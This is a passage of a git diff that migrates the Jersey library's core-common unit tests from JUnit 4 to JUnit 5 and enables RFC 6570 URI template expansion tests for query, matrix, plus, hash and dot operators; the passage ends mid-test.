b/core-common/src/test/java/org/glassfish/jersey/message/internal/QualityTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,95 +16,85 @@ package org.glassfish.jersey.message.internal; +import static org.hamcrest.CoreMatchers.equalTo; +import static org.hamcrest.MatcherAssert.assertThat; + import java.text.ParseException; -import java.util.Arrays; import java.util.Collections; import java.util.Locale; import java.util.Map; +import java.util.stream.Stream; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; -import static org.hamcrest.CoreMatchers.equalTo; -import static org.junit.Assert.assertThat; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; /** * Quality unit tests. * * @author Marek Potociar */ -@RunWith(Parameterized.class) public class QualityTest { private static final Locale ORIGINAL_LOCALE = Locale.getDefault(); - @Parameterized.Parameters(name = "{0}") - public static Iterable data() { - return Arrays.asList(new Object[][]{{Locale.US}, {Locale.GERMANY}}); - } - - @Parameterized.Parameter(0) - public Locale locale; - - @Before - public void setUp() throws Exception { - Locale.setDefault(locale); - } - - @After - public void tearDown() throws Exception { - Locale.setDefault(ORIGINAL_LOCALE); + public static Stream data() { + return Stream.of(Arguments.of(Locale.US), Arguments.of(Locale.GERMANY)); } /** * Test enhancing HTT header parameter map with a quality parameter. */ - @Test - public void testEnhanceWithQualityParameter() { - Map result; + @ParameterizedTest + @MethodSource("data") + public void testEnhanceWithQualityParameter(Locale locale) { + try { + Locale.setDefault(locale); + Map result; - result = Quality.enhanceWithQualityParameter(null, "q", 1000); - assertThat(result, equalTo(null)); + result = Quality.enhanceWithQualityParameter(null, "q", 1000); + assertThat(result, equalTo(null)); - result = Quality.enhanceWithQualityParameter(null, "q", 200); - assertThat(result, equalTo(asMap("q=0.2"))); + result = Quality.enhanceWithQualityParameter(null, "q", 200); + assertThat(result, equalTo(asMap("q=0.2"))); - result = Quality.enhanceWithQualityParameter(null, "q", 220); - assertThat(result, equalTo(asMap("q=0.22"))); + result = Quality.enhanceWithQualityParameter(null, "q", 220); + assertThat(result, equalTo(asMap("q=0.22"))); - result = Quality.enhanceWithQualityParameter(null, "q", 222); - assertThat(result, equalTo(asMap("q=0.222"))); + result = Quality.enhanceWithQualityParameter(null, "q", 222); + assertThat(result, equalTo(asMap("q=0.222"))); - Map parameters; + Map parameters; - parameters = asMap("a=b"); - result = Quality.enhanceWithQualityParameter(parameters, "q", 1000); - assertThat(result, equalTo(parameters)); + parameters = asMap("a=b"); + result = Quality.enhanceWithQualityParameter(parameters, "q", 1000); + assertThat(result, equalTo(parameters)); - result = Quality.enhanceWithQualityParameter(parameters, "q", 200); - assertThat(result, equalTo(asMap("a=b;q=0.2"))); + result = Quality.enhanceWithQualityParameter(parameters, "q", 200); + assertThat(result, equalTo(asMap("a=b;q=0.2"))); - result = Quality.enhanceWithQualityParameter(parameters, "q", 220); - assertThat(result, equalTo(asMap("a=b;q=0.22"))); + result = Quality.enhanceWithQualityParameter(parameters, "q", 220); + assertThat(result, equalTo(asMap("a=b;q=0.22"))); - result = Quality.enhanceWithQualityParameter(parameters, "q", 222); - assertThat(result, equalTo(asMap("a=b;q=0.222"))); + result = Quality.enhanceWithQualityParameter(parameters, "q", 222); + assertThat(result, equalTo(asMap("a=b;q=0.222"))); - // test quality parameter override - parameters = asMap("a=b;q=0.3"); - result = Quality.enhanceWithQualityParameter(parameters, "q", 1000); - assertThat(result, equalTo(asMap("a=b;q=1.0"))); + // test quality parameter override + parameters = asMap("a=b;q=0.3"); + result = Quality.enhanceWithQualityParameter(parameters, "q", 1000); + assertThat(result, equalTo(asMap("a=b;q=1.0"))); - result = Quality.enhanceWithQualityParameter(parameters, "q", 200); - assertThat(result, equalTo(asMap("a=b;q=0.2"))); + result = Quality.enhanceWithQualityParameter(parameters, "q", 200); + assertThat(result, equalTo(asMap("a=b;q=0.2"))); - result = Quality.enhanceWithQualityParameter(parameters, "q", 220); - assertThat(result, equalTo(asMap("a=b;q=0.22"))); + result = Quality.enhanceWithQualityParameter(parameters, "q", 220); + assertThat(result, equalTo(asMap("a=b;q=0.22"))); - result = Quality.enhanceWithQualityParameter(parameters, "q", 222); - assertThat(result, equalTo(asMap("a=b;q=0.222"))); + result = Quality.enhanceWithQualityParameter(parameters, "q", 222); + assertThat(result, equalTo(asMap("a=b;q=0.222"))); + } finally { + Locale.setDefault(ORIGINAL_LOCALE); + } } /** diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/ResponseTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/ResponseTest.java index f855dcb0840..ec4421bdc45 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/ResponseTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/ResponseTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,10 +21,10 @@ import jakarta.ws.rs.core.Response.Status.Family; import jakarta.ws.rs.core.Response.StatusType; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertSame; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; /** * diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/StringBuilderUtilsTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/StringBuilderUtilsTest.java index 0b1627d4083..dc9fc0290ae 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/StringBuilderUtilsTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/StringBuilderUtilsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,10 +16,10 @@ package org.glassfish.jersey.message.internal; -import org.junit.AfterClass; -import org.junit.BeforeClass; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * @@ -30,11 +30,11 @@ public class StringBuilderUtilsTest { public StringBuilderUtilsTest() { } - @BeforeClass + @BeforeAll public static void setUpClass() throws Exception { } - @AfterClass + @AfterAll public static void tearDownClass() throws Exception { } diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java index e6baf4c4041..d290dc1bc4c 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,30 +16,27 @@ package org.glassfish.jersey.message.internal; -import org.junit.Assert; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; import java.io.BufferedOutputStream; import java.io.ByteArrayInputStream; import java.io.File; -import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; +import java.nio.file.Files; public class UtilsTest { @Test public void createTempFile() throws IOException { final File file = Utils.createTempFile(); - final OutputStream stream = new BufferedOutputStream(new FileOutputStream(file)); - try { + try (final OutputStream stream = new BufferedOutputStream(Files.newOutputStream(file.toPath()))) { final ByteArrayInputStream entityStream = new ByteArrayInputStream("Test stream byte input".getBytes()); ReaderWriter.writeTo(entityStream, stream); - } finally { - stream.close(); } - Assert.assertTrue(file.exists()); + Assertions.assertTrue(file.exists()); } } diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/VariantListBuilderTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/VariantListBuilderTest.java index f8e253c1315..77e70d5035e 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/VariantListBuilderTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/VariantListBuilderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,9 +22,9 @@ import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.Variant; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * TODO: javadoc. diff --git a/core-common/src/test/java/org/glassfish/jersey/process/internal/RankedComparatorTest.java b/core-common/src/test/java/org/glassfish/jersey/process/internal/RankedComparatorTest.java index 25e82fa3227..3cf996d32ae 100644 --- a/core-common/src/test/java/org/glassfish/jersey/process/internal/RankedComparatorTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/process/internal/RankedComparatorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -25,8 +25,8 @@ import org.glassfish.jersey.model.internal.RankedComparator; import org.glassfish.jersey.model.internal.RankedProvider; -import org.junit.Test; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Tests {@link org.glassfish.jersey.model.internal.RankedComparator}. diff --git a/core-common/src/test/java/org/glassfish/jersey/uri/PathPatternTest.java b/core-common/src/test/java/org/glassfish/jersey/uri/PathPatternTest.java index e876ae2c020..460db0e989b 100644 --- a/core-common/src/test/java/org/glassfish/jersey/uri/PathPatternTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/uri/PathPatternTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,11 +18,10 @@ import java.util.regex.MatchResult; -import org.junit.Assert; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertNull; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; /** * Tests {@link PathTemplate}. @@ -61,12 +60,12 @@ public void testTerminalPathPatterMatching() { for (PathPattern pattern : patterns) { matchResult = pattern.match(rhp); - assertNotNull("No match of " + rhp + " for pattern " + pattern, matchResult); + assertNotNull(matchResult, "No match of " + rhp + " for pattern " + pattern); rhp = matchResult.group(matchResult.groupCount()); rhp = (rhp == null) ? "" : rhp; } - Assert.assertEquals("", rhp); + assertEquals("", rhp); rhp = path2; @@ -89,8 +88,8 @@ public void testSimplePattern() throws Exception { public void testSimplePatternWithRightHandSide() throws Exception { PathPattern pattern = new PathPattern(new PathTemplate("/test/{template: abc.*}")); - assertNull("Why matched?", pattern.match("/test/me")); - assertNotNull("Why not matched?", pattern.match("/test/abc-should_work")); + assertNull(pattern.match("/test/me"), "Why matched?"); + assertNotNull(pattern.match("/test/abc-should_work"), "Why not matched?"); } @Test @@ -98,9 +97,9 @@ public void testSetsAndGetsUriTemplate() throws Exception { PathTemplate tmpl = new PathTemplate("/test"); PathPattern pattern = new PathPattern(tmpl); assertEquals( - "We just injected the value, why it is different?", tmpl, - pattern.getTemplate() + pattern.getTemplate(), + "We just injected the value, why it is different?" ); } @@ -113,9 +112,9 @@ public void testLastElementOfMatchIsRestOfPath() throws Exception { String value = m.group(m.groupCount()); assertEquals( - "Last value should match all of the trailing part", "/d", - value + value, + "Last value should match all of the trailing part" ); } } diff --git a/core-common/src/test/java/org/glassfish/jersey/uri/UriComponentTest.java b/core-common/src/test/java/org/glassfish/jersey/uri/UriComponentTest.java index 35853f8900f..0c205bf8cbd 100644 --- a/core-common/src/test/java/org/glassfish/jersey/uri/UriComponentTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/uri/UriComponentTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,9 +21,9 @@ import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.PathSegment; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Unit test for {@link UriComponent} class. diff --git a/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java b/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java index e696602ff65..cdd965bc9f4 100644 --- a/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,18 +22,22 @@ import java.util.Collections; import java.util.HashMap; import java.util.Iterator; +import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.regex.MatchResult; import org.glassfish.jersey.uri.internal.UriTemplateParser; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; +import org.opentest4j.AssertionFailedError; + import static org.hamcrest.CoreMatchers.equalTo; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertTrue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Taken from Jersey 1: jersey-tests: com.sun.jersey.impl.uri.UriTemplateTest @@ -255,7 +259,7 @@ void _testMatching(final String template, final String uri, final String... valu final Map m = new HashMap(); boolean isMatch = t.match(uri, m); - assertTrue(isMatch); + assertTrue(isMatch, "No match for '" + uri + "' & params '" + Arrays.toString(values) + "`"); assertEquals(values.length, t.getTemplateVariables().size()); final Iterator names = t.getTemplateVariables().iterator(); @@ -284,7 +288,9 @@ void _testMatching(final String template, final String uri, final String... valu assertEquals(uri.length(), mr.end(0)); for (int i = 0; i < mr.groupCount(); i++) { assertEquals(values[i], mr.group(i + 1)); - assertEquals(values[i], uri.substring(mr.start(i + 1), mr.end(i + 1))); + int start = mr.start(i + 1); + int end = mr.end(i + 1); + assertEquals(values[i], start == -1 ? null : uri.substring(start, end)); } } @@ -432,8 +438,8 @@ public void testSubstitutionMap() { _testSubstitutionMap("http://example.com/order/{c}/{c}/{c}/", "http://example.com/order/cheeseburger/cheeseburger/cheeseburger/", "c", "cheeseburger"); - _testSubstitutionMap("http://example.com/{q}", - "http://example.com/hullo#world", + _testSubstitutionMap("http://example.com/{q}/z", + "http://example.com/hullo%23world/z", "q", "hullo#world"); _testSubstitutionMap("http://example.com/{e}/", "http://example.com//", @@ -475,15 +481,15 @@ public void testSingleQueryParameter() throws Exception { tmpl.match("/test?query=x", result); assertEquals( - "incorrect size for match string", 1, - result.size() + result.size(), + "incorrect size for match string" ); assertEquals( - "query parameter is not matched", "x", - result.get("query") + result.get("query"), + "query parameter is not matched" ); } @@ -498,20 +504,20 @@ public void testDoubleQueryParameter() throws Exception { tmpl.match("/test?query=x&secondQuery=y", result); assertEquals( - "incorrect size for match string", 2, - result.size() + result.size(), + "incorrect size for match string" ); assertEquals( - "query parameter is not matched", "x", - result.get("query") + result.get("query"), + "query parameter is not matched" ); assertEquals( - "query parameter is not matched", "y", - result.get("secondQuery") + result.get("secondQuery"), + "query parameter is not matched" ); } @@ -524,9 +530,9 @@ public void testSettingQueryParameter() throws Exception { final String uri = tmpl.createURI(values); assertEquals( - "query string is not set", "/test?query=example", - uri + uri, + "query string is not set" ); } @@ -540,9 +546,9 @@ public void testSettingTwoQueryParameter() throws Exception { final String uri = tmpl.createURI(values); assertEquals( - "query string is not set", "/test?query=example&other=otherExample", - uri + uri, + "query string is not set" ); } @@ -555,9 +561,9 @@ public void testNotSettingQueryParameter() throws Exception { final String uri = tmpl.createURI(values); assertEquals( - "query string is set", "/test", - uri + uri, + "query string is set" ); } @@ -571,9 +577,9 @@ public void testSettingMatrixParameter() throws Exception { final String uri = tmpl.createURI(values); assertEquals( - "query string is not set", "/test;matrix=example/other", - uri + uri, + "query string is not set" ); } @@ -588,9 +594,9 @@ public void testSettingTwoMatrixParameter() throws Exception { final String uri = tmpl.createURI(values); assertEquals( - "query string is not set", "/test;matrix=example;other=otherExample/other", - uri + uri, + "query string is not set" ); } @@ -605,9 +611,9 @@ public void testSettingTwoSeperatedMatrixParameter() throws Exception { final String uri = tmpl.createURI(values); assertEquals( - "query string is not set", "/test;matrix=example/other;other=otherExample", - uri + uri, + "query string is not set" ); } @@ -619,9 +625,9 @@ public void testNotSettingMatrixParameter() throws Exception { final String uri = tmpl.createURI(values); assertEquals( - "query string is set", "/test/other", - uri + uri, + "query string is set" ); } @@ -656,7 +662,7 @@ public void testNotSettingMatrixParameter() throws Exception { private static final String base = "http://example.com/home/"; private static final String path = "/foo/bar"; private static final List list = Arrays.asList("red", "green", "blue"); - private static final Map keys = new HashMap() {{ + private static final Map keys = new LinkedHashMap() {{ put("semi", ";"); put("dot", "."); put("comma", ","); @@ -690,27 +696,58 @@ public void testRfc6570QueryTemplateExamples() { assertEncodedQueryTemplateExpansion("?x=1024&y=768&empty=", "{?x,y,empty}", x, y, empty); assertEncodedQueryTemplateExpansion("?x=1024&y=768", "{?x,y,undef}", x, y); - // TODO assertEncodedQueryTemplateExpansion("?var=val", "{?var:3}", var); - // TODO assertEncodedQueryTemplateExpansion("?list=red,green,blue", "{?list}", list); - // TODO assertEncodedQueryTemplateExpansion("?list=red&list=green&list=blue", "{?list*}", list); - // TODO assertEncodedQueryTemplateExpansion("?keys=semi,%3B,dot,.,comma,%2C", "{?keys}", keys); - // TODO assertEncodedQueryTemplateExpansion("?semi=%3B&dot=.&comma=%2C", "{?keys*}", keys); + assertEncodedQueryTemplateExpansion("?var=val", "{?var:3}", var); + assertEncodedQueryTemplateExpansion("?list=red,green,blue", "{?list}", list); + assertEncodedQueryTemplateExpansion("?list=red&list=green&list=blue", "{?list*}", list); + assertEncodedQueryTemplateExpansion("?keys=semi,%3B,dot,.,comma,%2C", "{?keys}", new Object[]{keys}); + assertEncodedQueryTemplateExpansion("?semi=%3B&dot=.&comma=%2C", "{?keys*}", new Object[]{keys}); + } + + @Test + public void testRfc6570QueryContinuationTemplateExamples() { + /* + RFC 6570, section 3.2.9: + + {&who} &who=fred + {&half} &half=50%25 + ?fixed=yes{&x} ?fixed=yes&x=1024 + {&x,y,empty} &x=1024&y=768&empty= + {&x,y,undef} &x=1024&y=768 + + {&var:3} &var=val + {&list} &list=red,green,blue + {&list*} &list=red&list=green&list=blue + {&keys} &keys=semi,%3B,dot,.,comma,%2C + {&keys*} &semi=%3B&dot=.&comma=%2C + */ + + assertEncodedQueryTemplateExpansion("&who=fred", "{ &who}", who); + assertEncodedQueryTemplateExpansion("&half=50%25", "{&half}", half); + assertEncodedQueryTemplateExpansion("?fixed=yes&x=1024", "?fixed=yes{&x}", x, y); + assertEncodedQueryTemplateExpansion("&x=1024&y=768&empty=", "{&x,y,empty}", x, y, empty); + assertEncodedQueryTemplateExpansion("&x=1024&y=768", "{&x,y,undef}", x, y); + + assertEncodedQueryTemplateExpansion("&var=val", "{&var:3}", var); + assertEncodedQueryTemplateExpansion("&list=red,green,blue", "{&list}", list); + assertEncodedQueryTemplateExpansion("&list=red&list=green&list=blue", "{&list*}", list); + assertEncodedQueryTemplateExpansion("&keys=semi,%3B,dot,.,comma,%2C", "{&keys}", new Object[]{keys}); + assertEncodedQueryTemplateExpansion("&semi=%3B&dot=.&comma=%2C", "{&keys*}", new Object[]{keys}); } private void assertEncodedQueryTemplateExpansion(final String expectedExpansion, final String queryTemplate, final Object... values) { - assertEquals("Unexpected encoded query template expansion result.", - expectedExpansion, - UriTemplate.createURI(null, null, null, null, null, null, queryTemplate, null, values, true, false)); + assertEquals(expectedExpansion, + UriTemplate.createURI(null, null, null, null, null, null, queryTemplate, null, values, true, false), + "Unexpected encoded query template expansion result."); } private void assertEncodedQueryTemplateExpansion(final String expectedExpansion, final String queryTemplate, final Map values) { - assertEquals("Unexpected encoded query template expansion result.", - expectedExpansion, - UriTemplate.createURI(null, null, null, null, null, null, queryTemplate, null, values, true, false)); + assertEquals(expectedExpansion, + UriTemplate.createURI(null, null, null, null, null, null, queryTemplate, null, values, true, false), + "Unexpected encoded query template expansion result."); } @Test @@ -743,26 +780,274 @@ public void testRfc6570MatrixTemplateExamples() { assertEncodedPathTemplateExpansion(";x=1024;y=768", "{;x,y}", x, y); assertEncodedPathTemplateExpansion(";x=1024;y=768;empty", "{;x,y,empty}", x, y, empty); assertEncodedPathTemplateExpansion(";x=1024;y=768", "{;x,y,undef}", x, y); - // TODO assertEncodedPathTemplateExpansion(";hello=Hello", "{;hello:5}", hello); - // TODO assertEncodedPathTemplateExpansion(";list=red,green,blue", "{;list}", list); - // TODO assertEncodedPathTemplateExpansion(";list=red;list=green;list=blue", "{;list*}", list); - // TODO assertEncodedPathTemplateExpansion(";keys=semi,%3B,dot,.,comma,%2C", "{;keys}", keys); - // TODO assertEncodedPathTemplateExpansion(";semi=%3B;dot=.;comma=%2C", "{;keys*}", keys); + assertEncodedPathTemplateExpansion(";hello=Hello", "{;hello:5}", hello); + assertEncodedPathTemplateExpansion(";list=red,green,blue", "{;list}", list); + assertEncodedPathTemplateExpansion(";list=red;list=green;list=blue", "{;list*}", list); + assertEncodedPathTemplateExpansion(";keys=semi,%3B,dot,.,comma,%2C", "{;keys}", new Object[]{keys}); + assertEncodedPathTemplateExpansion(";semi=%3B;dot=.;comma=%2C", "{;keys*}", new Object[]{keys}); + } + + @Test + void testRfc6570DefaultTemplateExamples() { + /* + RFC 6570, section 3.2.2 + {var} value + {hello} Hello%20World%21 + {half} 50%25 + O{empty}X OX + O{undef}X OX + {x,y} 1024,768 + {x,hello,y} 1024,Hello%20World%21,768 + ?{x,empty} ?1024, + ?{x,undef} ?1024 + ?{undef,y} ?768 + {var:3} val + {var:30} value + {list} red,green,blue + {list*} red,green,blue + {keys} semi,%3B,dot,.,comma,%2C + {keys*} semi=%3B,dot=.,comma=%2C + */ + + // TODO assertEncodedPathTemplateExpansion("Hello%20World%21", "{hello}", hello); // conflicts with rfc3986 Path + assertEncodedPathTemplateExpansion("50%25", "{half}", half); + assertEncodedPathTemplateExpansion("0X", "0{empty}X", empty); + // TODO assertEncodedPathTemplateExpansion("0X", "0{undef}X"); // conflicts with UriBuilder + // TODO assertEncodedPathTemplateExpansion("1024,Hello%20World%21,768", "{x,hello,y}", x, hello, y); //Path is {+} + assertEncodedPathTemplateExpansion("?1024,", "?{x,empty}", x, empty); + // TODO assertEncodedPathTemplateExpansion("?1024", "?{x,undef}", x); // conflicts with UriBuilder + assertEncodedPathTemplateExpansion("val", "{var:3}", var); + assertEncodedPathTemplateExpansion("value", "{var:30}", var); + assertEncodedPathTemplateExpansion("red,green,blue", "{list}", list); + // TODO assertEncodedPathTemplateExpansion("semi,%3B,dot,.,comma,%2C", "{keys}", keys); + // TODO assertEncodedPathTemplateExpansion("semi=%3B,dot=.,comma=%2C", "{keys*}", keys); + + // TODO Proprietary minus template +// assertEncodedPathTemplateExpansion("Hello%20World%21", "{-hello}", hello); +// assertEncodedPathTemplateExpansion("50%25", "{-half}", half); +// assertEncodedPathTemplateExpansion("0X", "0{-empty}X", empty); +// assertEncodedPathTemplateExpansion("0X", "0{-undef}X"); +// assertEncodedPathTemplateExpansion("1024,Hello%20World%21,768", "{-x,hello,y}", x, hello, y); +// assertEncodedPathTemplateExpansion("?1024,", "?{-x,empty}", x, empty); +// assertEncodedPathTemplateExpansion("?1024", "?{-x,undef}", x); +// assertEncodedPathTemplateExpansion("val", "{-var:3}", var); +// assertEncodedPathTemplateExpansion("value", "{-var:30}", var); +// assertEncodedPathTemplateExpansion("red,green,blue", "{-list}", list); +// assertEncodedPathTemplateExpansion("semi,%3B,dot,.,comma,%2C", "{-keys}", new Object[]{keys}); +// assertEncodedPathTemplateExpansion("semi=%3B,dot=.,comma=%2C", "{-keys*}", new Object[]{keys}); + } + + @Test + void testRfc6570PlusTemplateExamples() { + /* + RFC 6570, section 3.2.3 + {+var} value + {+hello} Hello%20World! + {+half} 50%25 + + {base}index http%3A%2F%2Fexample.com%2Fhome%2Findex + {+base}index http://example.com/home/index + O{+empty}X OX + O{+undef}X OX + + {+path}/here /foo/bar/here + here?ref={+path} here?ref=/foo/bar + up{+path}{var}/here up/foo/barvalue/here + {+x,hello,y} 1024,Hello%20World!,768 + {+path,x}/here /foo/bar,1024/here + + {+path:6}/here /foo/b/here + {+list} red,green,blue + {+list*} red,green,blue + {+keys} semi,;,dot,.,comma,, + {+keys*} semi=;,dot=.,comma=, + */ + assertEncodedPathTemplateExpansion("Hello%20World!", "{+hello}", hello); + assertEncodedPathTemplateExpansion("50%25", "{+half}", half); + assertEncodedPathTemplateExpansion("50%25", "{+half}", half); +// assertEncodedPathTemplateExpansion("http%3A%2F%2Fexample.com%2Fhome%2Findex", "{-base}index", base); + assertEncodedPathTemplateExpansion("http://example.com/home/index", "{+base}index", base); + assertEncodedPathTemplateExpansion("/foo/bar/here", "{+path}/here", path); + assertEncodedPathTemplateExpansion("here?ref=/foo/bar", "here?ref={+path}", path); + assertEncodedPathTemplateExpansion("up/foo/barvalue/here", "up{+path}{var}/here", path, var); + assertEncodedPathTemplateExpansion("1024,Hello%20World!,768", "{+x,hello,y}", x, hello, y); + assertEncodedPathTemplateExpansion("/foo/bar,1024/here", "{+path,x}/here", path, x); + assertEncodedPathTemplateExpansion("/foo/b/here", "{+path:6}/here", path); + assertEncodedPathTemplateExpansion("red,green,blue", "{+list}", list); + assertEncodedPathTemplateExpansion("red,green,blue", "{+list*}", list); + assertEncodedPathTemplateExpansion("semi,;,dot,.,comma,,", "{+keys}", new Object[]{keys}); + assertEncodedPathTemplateExpansion("semi=;,dot=.,comma=,", "{+keys*}", new Object[]{keys}); + } + + @Test + void testRfc6570HashTemplateExamples() { + /* + RFC 6570, section 3.2.4 + {#var} #value + {#hello} #Hello%20World! + {#half} #50%25 + foo{#empty} foo# + foo{#undef} foo + {#x,hello,y} #1024,Hello%20World!,768 + {#path,x}/here #/foo/bar,1024/here + {#path:6}/here #/foo/b/here + {#list} #red,green,blue + {#list*} #red,green,blue + {#keys} #semi,;,dot,.,comma,, + {#keys*} #semi=;,dot=.,comma=, + */ + assertEncodedPathTemplateExpansion("#Hello%20World!", "{#hello}", hello); + assertEncodedPathTemplateExpansion("#50%25", "{#half}", half); + assertEncodedPathTemplateExpansion("0#X", "0{#empty}X", empty); + assertEncodedPathTemplateExpansion("0X", "0{#undef}X"); + assertEncodedPathTemplateExpansion("#1024,Hello%20World!,768", "{#x,hello,y}", x, hello, y); + assertEncodedPathTemplateExpansion("#/foo/bar,1024/here", "{#path,x}/here", path, x); + assertEncodedPathTemplateExpansion("#/foo/b/here", "{#path:6}/here", path); + assertEncodedPathTemplateExpansion("#red,green,blue", "{#list}", list); + assertEncodedPathTemplateExpansion("#red,green,blue", "{#list*}", list); + assertEncodedPathTemplateExpansion("#semi,;,dot,.,comma,,", "{#keys}", new Object[]{keys}); + assertEncodedPathTemplateExpansion("#semi=;,dot=.,comma=,", "{#keys*}", new Object[]{keys}); + } + + @Test + void testRfc6570DotTemplateExamples() { + /* + RFC 6570, section 3.2.5 + {.who} .fred + {.who,who} .fred.fred + {.half,who} .50%25.fred + www{.dom*} www.example.com + X{.var} X.value + X{.empty} X. + X{.undef} X + X{.var:3} X.val + X{.list} X.red,green,blue + X{.list*} X.red.green.blue + X{.keys} X.semi,%3B,dot,.,comma,%2C + X{.keys*} X.semi=%3B.dot=..comma=%2C + X{.empty_keys} X + X{.empty_keys*} X + */ + assertEncodedPathTemplateExpansion(".fred", "{.who}", who); + assertEncodedPathTemplateExpansion(".fred.fred", "{.who,who}", who); + assertEncodedPathTemplateExpansion(".50%25.fred", "{.half,who}", half, who); + assertEncodedPathTemplateExpansion("www.example.com", "www{.dom*}", dom); + assertEncodedPathTemplateExpansion("X.value", "X{.var}", var); + assertEncodedPathTemplateExpansion("X.", 